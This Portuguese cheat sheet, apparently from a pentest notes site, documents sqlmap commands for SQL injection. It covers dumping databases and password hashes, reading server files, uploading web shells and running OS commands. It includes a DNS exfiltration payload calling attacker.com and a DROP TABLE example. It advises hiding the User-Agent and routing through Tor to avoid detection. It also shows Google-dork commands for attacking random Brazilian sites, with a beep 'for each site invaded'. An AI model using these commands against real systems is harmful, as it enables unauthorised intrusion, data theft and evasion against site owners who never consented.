SQLMAP
Atualizando
sqlmap --update
# Ou
sudo apt install --only-upgrade sqlmap
Erro de Certificado
Algumas vezes podemos receber erro de certificado Erro de SSL: [CRITICAL] can't establish SSL connection
ao executar o sqlmap. Para resolver, basta abrir o Burp Suite, deixar no Intercept Off
, e adicionar --proxy="http://127.0.0.1:8080"
no final do comando do sqlmap.
Ou caso queira ignorar o certificado de outra maneira, basta executar o Sqlmap da seguinte forma
sqlmap -u '<url>' --force-ssl
Listando os Databases
sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs
OBS.: Caso já saiba qual o tipo de banco de dados, pode definí-lo para agilizar o processo, adicionando ao final do comando --dbms=mysql
.
Baixando todos os databases, exceto sysdbs
.
sqlmap -u "<url>" --dump-all --exclude-sysdbs
Listando as Tabelas
Do database atual
sqlmap --url "<url>" -D <database> --tables
Retorna as tabelas de todos os databases
sqlmap -u "<url>" --tables --dump
Visualizando a estrutura de todas as tabelas do database atual
sqlmap -u "<url>" --schema
Listando as Colunas de uma Tabela
sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" -D <database> -T <table> --columns
Salvando as Informações (Dump)
Agora iremos pegar todas os valores das colunas e fazer um dump em CSV dessas informações. Também é possível salvar em HTML ou sqlite, o parâmetro --dump-format
. Remova o -C <column>
.
sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" -D <database> -T <table> -C <column_name>,<other_column_name>,<other_column_name> --dump
Caso queira trazer determinados registros da tabela, por exemplo, do 2º registro até o 5º, utilize o seguinte comando:
sqlmap -u "<url>" --dump -D <database> -T <tabela> --start=2 --stop=5
Definindo qual Parâmetro deve ser Testado
sqlmap -u <url> -p <possivel_campo_vulneravel>
Verificando o Database Atual
Verifica em qual database a aplicação web está conectada no momento
sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --current-db
Verificando o User Atual
Verifica qual o user que a aplicação web está utilizando no momento
sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --current-user
Pegando Versões do Banco de Dados, SO e Apache / NGNIX
Verifica o banner do Bando de Dados, e a versão do :
sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --banner
Verificando se o User Atual é DBA
DBA é um usuário com permissões especiais
sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --is-dba
Retornando Todos os Users do Banco de Dados
sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --users
Definindo a Quantidade de Colunas no Union
Só utilize esse parâmetro quando realmente souber quantas colunas devem ser enviadas no Union
sqlmap <url> --union-cols=<quantidade>
Por padrão o sqlmap utiliza NULL nos valores do Union, então podemos alterar esse valor da seguinte forma
sqlmap <url> --union-char='<valor_union>'
Otimizando Scanners
Ativa todas as opções de otimização
sqlmap -u <url> -o --dbs
Pesquinsando por nome de Tabelas e Colunas
Pesquisa por todas as tabelas que contem o nome user
em seu nome. Esse filtro é semelhante a um LIKE '%user%'
. Altere o user pela palavra-chave que deseja buscar
sqlmap -u "<url>" --search -T user
Nesse exemplo, não especificamos o database, então irá ser feito uma busca por todas as Datatables e todas as suas respectivas tabelas, o que pode levar um tempo considerável.
Da mesma forma do modo anterior de pesquisar trechos de nomes em tabelas, porém dessa vez em colunas. Vamos utilizar a string pass
como exexmplo
sqlmap -u "<url>" --search -C pass
Utilizando Condições WHERE
sqlmap -u "<url>" -D <database> -T <table> --dump --where="<condicao_where>"
Lendo Arquivos do Servidor
sqlmap -u "<url>" --file-read=<file>
OBS.: Pode ser que o SQLMap não mostre o conteúdo do arquivo na tela, mas sim salvar no seu diretório. Leia a saída para ver o local do arquivo
Executando Queries Personalizadas
sqlmap -u "<url>" --sql-query="SELECT * FROM <table>;"
OBS.: Adicione o ;
no final da query
Alterando o User-Agent
O SQLMAP faz muito ruído e cria muitos registros em /var/log/apache2/access.log
com o nome sqlmap
em seu User-Agent.
É sempre uma boa prática mascarar nosso User-Agent para não sermos detectados facilmente
sqlmap -u "<url>" --dbs --user-agent="<user_agent>"
OBS.: Caso prefira deixar que o SQLMAP escolha o User-Agent de forma aleatória, utilize o parâmentro --random-agent
ao invés de --user-agent="<user_agent>"
.
Caso esteja fazendo um teste onde o User-Agent tem que ser de um mobile, utilize o seguinte comando como exemplo para ter um valor válido randômico
sqlmap -u <url> --mobile
Hashes de Usuários MySQL
sqlmap -u "<url>" --passwords --batch
Criando Shell Interativo:
O SQLMAP cria um arquivo no /var/www/html/
(o caminho pode ser definido caso precise) que serve como um Shell Reverso
sqlmap --url "<url>" --os-shell
Upload de Arquivos
sqlmap -u "<url>" --file-write "<shell.php>" --file-dest "/var/www/html/<shell.php>"
Prefixo e Sufixo
As vezes precisamos que nosso payload tenha determinado prefixo e/ou sufixo.
sqlmap -u "<url>/?id=param" --prefix="%'))" --suffix="-- -"
Anti CRSF
Se não especificar o nome do valor, o sqlmap irá fazer uma pesquisa por possíveis e irá questionar qual deles deve ser tratado com um CSRF
sqlmap -u "<url>" --data="id=1&csrf-token=o9NEn4e1l2f3SndSnE8SvW4f8fpv" --csrf-token="csrf-token"
Valores Random
Em alguns casos, é necessário enviar sempre um valor único nas requisições. Considere isso como um anti CSRF, porém mais fraco, pois esse valor informado não é validado, ele apenas precisa existir e não ser um valor repetido
sqlmap -u "<url>/?csrf=123456789" --randomize=csrf --batch
Trabalhando com Cookies
sqlmap -u "<url>" --cookie='<cookie>' --dbs
Definindo Payload como Verdadeiro
Determinada string na resposta de requisição
sqlmap <url> --string="<string>"
Valida status 200 HTTP como um payload com sucesso
sqlmap <url> --code=200
Valida o payload a partir do do HTML
sqlmap <url> --title="<string>"
Executando Comandos no Shell
sqlmap --url "<url>" --os-cmd="<command>"
Usando Threads
sqlmap -u "<url>" --threads=5 --dbs
Usando Proxy
# Sem credenciais
sqlmap -u "<url>" --proxy="http://{ip}:{port}" --dbs
sqlmap -u <url> --proxy="socks4://<ip>:<port>"
# Com credenciais
sqlmap -u "<url>" --proxy="http://{ip}:{port}" --proxy-cred=<username>:<pass> --dbs
TOR
Inicie o TOR e execute o comando abaixo para verificar se realmente está funcionando. O sqlmap irá simplesmente acessar o site https://check.torproject.org/ e verificar se está conectado corretamente
sqlmap --check-tor
Utilizando TOR nas requisições
sqlmap -u <url> --tor
WAF
Utilize o parâmetro --identify-waf
, que e o substituto do --check-waf
sqlmap -u "<url>" --identify-waf
Por padrão o sqlmap realiza verificações de WAF (o que gera mais ruídos e lentidão na finalização do scan). Para remover essa verificação inicial utilize o comando abaixo:
sqlmap -u <url> --skip-waf
Eval (Python)
Repare que as variáveis no parâmetro --eval
, tem o mesmo nome que os parâmetros passados via GET. Ao executar o comando dessa maneira, o valor de token
(via GET) será o valor de id
em MD5.
sqlmap -u 'http://site.com?id=1&token=3026178396' --dbms=mysql --eval="import hashlib; token=hashlib.md5(id).hexdigest()"
Caso queira ver quais URL estão sendo requisistadas, adicione -v 5 | grep URI
no final do comando acima ou utilize algum proxy como o Burp Suite para realizar tal verificação.
Level e Risco
Há também opções de level
e risk
, sendo estes parêmetros os responsáveis pelo ruído, que vai de 1 à 5 (1 o mais discreto e 5 o mais barulhento) no level e de 1 à 3 no risk:
sqlmap -u "<url>" --level=5 risk=3 --dbs
Verbose
O modo verbose vai de 0 a 6 (o padrão é 1), sendo 0 (zero) o mais discreto e 6 o mais detalhado
sqlmap --url "<url>" --dbs -v 1
Caso for utilizar verbose em um nível, pode-se remover as "sujeiras" das respostas das páginas web.
sqlmap -u <url> -v 6 --text-only
Out-of-band SQL Injection
LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\README.txt'))
Este é considerado um dos tipos mais avançados de SQLi, usado nos casos em que todos os outros tipos não são suportados pelo aplicativo da Web vulnerável ou são muito lentos (por exemplo, Blind SQLi baseado em tempo). O SQLMap suporta SQLi fora de banda por meio de "exfiltração de DNS", em que as consultas solicitadas são recuperadas por meio do tráfego DNS.
Ao executar o SQLMap no servidor DNS para o domínio sob controle (por exemplo, .domain.com), o SQLMap pode executar o ataque forçando o servidor a solicitar subdomínios inexistentes (por exemplo, foo.domain.com), onde foo
seria o Resposta SQL que queremos receber. O SQLMap pode então coletar essas solicitações de DNS com erro e coletar a parte foo
, para formar a resposta SQL inteira.
Limpando o Cache
O SQLMAP guarda todos os resultados em cache.
Para zerar o cache e realizar uma nova consulta, utilize o parâmentro adicional --flush-session
.
Utilizando Dorks para Atacar Sites Aleatórios
sqlmap -g 'inurl:noticias.php?id site:com.br' --dbs --gpage 2
O parâmetro --gpage 2
, indica que será filtrado somente os sites da 2ª página do Google.
OBS.: Essa Dork é a mesma utilizada pelo Google
Também pode utilizar o parâmetro --beep
para emitir um som (beep) a cada site invadido com êxito.
Assim não precisa ficar em frente o pc acompanhando os resultados
Automatizando Respostas
Utilize o parâmetro --batch
para aceitar todas as perguntas com respostas padrões (como se estivesse apertando ENTER)
sqlmap -g <dork> --dbs --batch
Para definir determinadas respostas para determinadas perguntas, utilize:
sqlmap -g <dork> --dbs --answers="test=Y,POST=y"
OBS.: Em answers
, utilize como parâmetro, alguma palavra da pergunta
Injections em Formulários (POST)
sqlmap -u {url} --forms --dbs
OBS.: Atente-se nas perguntas, pois uma precisa ser definido qual form será atacado, levando em conta de que uma página pode ter mais de um formulário.
Definindo qual campo do form que está vulnerável
sqlmap -u "<url>" --data="login=&senha" -p login --dbs
Personalizando Inserção de Payload
Quando já sabemos de algum payload que já funciona, podemos utilizar o SqlMap para inserir comando em apenas uma parte do nosso payload
sqlmap -u '<url>' --data 'username=admin" * --"' --method POST -v3 --dbs
O SqlMap irá inserir o payload no lugar do *
Método HTTP
sqlmap -u <site> --data='id=1' --method PUT
Personalizando Headers
sqlmap -u '<url>' -H 'Content-type: Application/json' --dbs
Arquivo de Request (Cabeçalho HTTP)
Podemos também utilizar um arquivo com configuração da requisição para que o Sqlmap leia e realize o ataque. Para isso, utilize ferramentas como o BurpSuite ou o Tamper HTTP
(Plugin do Mozilla). Abaixo segue um exemplo abaixo:
POST /torrent/login.php HTTP/1.1
Host: 10.10.10.6
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.6/torrent/login.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
DNT: 1
Connection: close
Cookie: PHPSESSID=76d0b2d828fb68a90dbf4285268c6781
Upgrade-Insecure-Requests: 1
username=admin&password=admin
Agora podemos utilizar o comando
sqlmap '<url>' -r <arquivo_cabecalho_http> --dbs
OBS.: Pode-se pegar esse cabeçalho com o Burp Suite , em Proxy > Intercept
.
Log de Tráfego
Útil para vermos os requests e responses de cada requisição e fazer uma análise manual
sqlmap <url> -t <output-traffic.txt>
Tamper
Listando todos os tampers disponíveis e suas descrições.
sqlmap --list-tampers
Convertendo o payload em charunicode
sqlmap -u <url> -d 'param=*' --tamper=charunicodeescape --dbs
Convertendo o payload em Hex e em Base64
sqlmap -u <url> -d 'param=*' --tamper=0x2char,base64encode --dbs
Técnicas
Existem 6 tipos de técnicas que podemos utilizar para realizar uma invasão de SQL Injection, sendo elas:
TÉCNICA
DESCRIÇÃO
EXEMPLO
(B) Boolean-Based Blind
Com base nas mudanças de página, os dados são inferidos, caractere por caractere
AND 1=1
(E) Error-Based
Usa os erros que são exibidos para extrair dados
AND GTID_SUBSET(@@version,0)
(U) Union Query-Based
Mudanças de consultas SQL para extrair dados
UNION ALL SELECT 1,@@version,3
(S) Stacked Queries
Ponto e vírgula são usados para injetar várias declarações sobre a consulta SQL
; DROP TABLE users
(T) Time-Based Blind
Com base no tempo, os dados são inferidos, caractere por caractere
AND 1=IF(2>1,SLEEP(5),0)
(Q) Inline Queries
Utiliza Sub-query
SELECT (SELECT @@version) from
Para selecionar uma ou mais opções, utilize as suas iniciais (exceto Inline Queries
, que é representada pela letra Q
), por exemplo:
sqlmap -u '<url>' --technique=BEUSTQ
Neste exemplo, será executado todas as 5 técnicas (que é o default do SQLMAP), pois indica a inicial de todos os ataques.
Sites
# Sqlmap
https://github.com/sqlmapproject/sqlmap/wiki/Usage
Last updated
Was this helpful?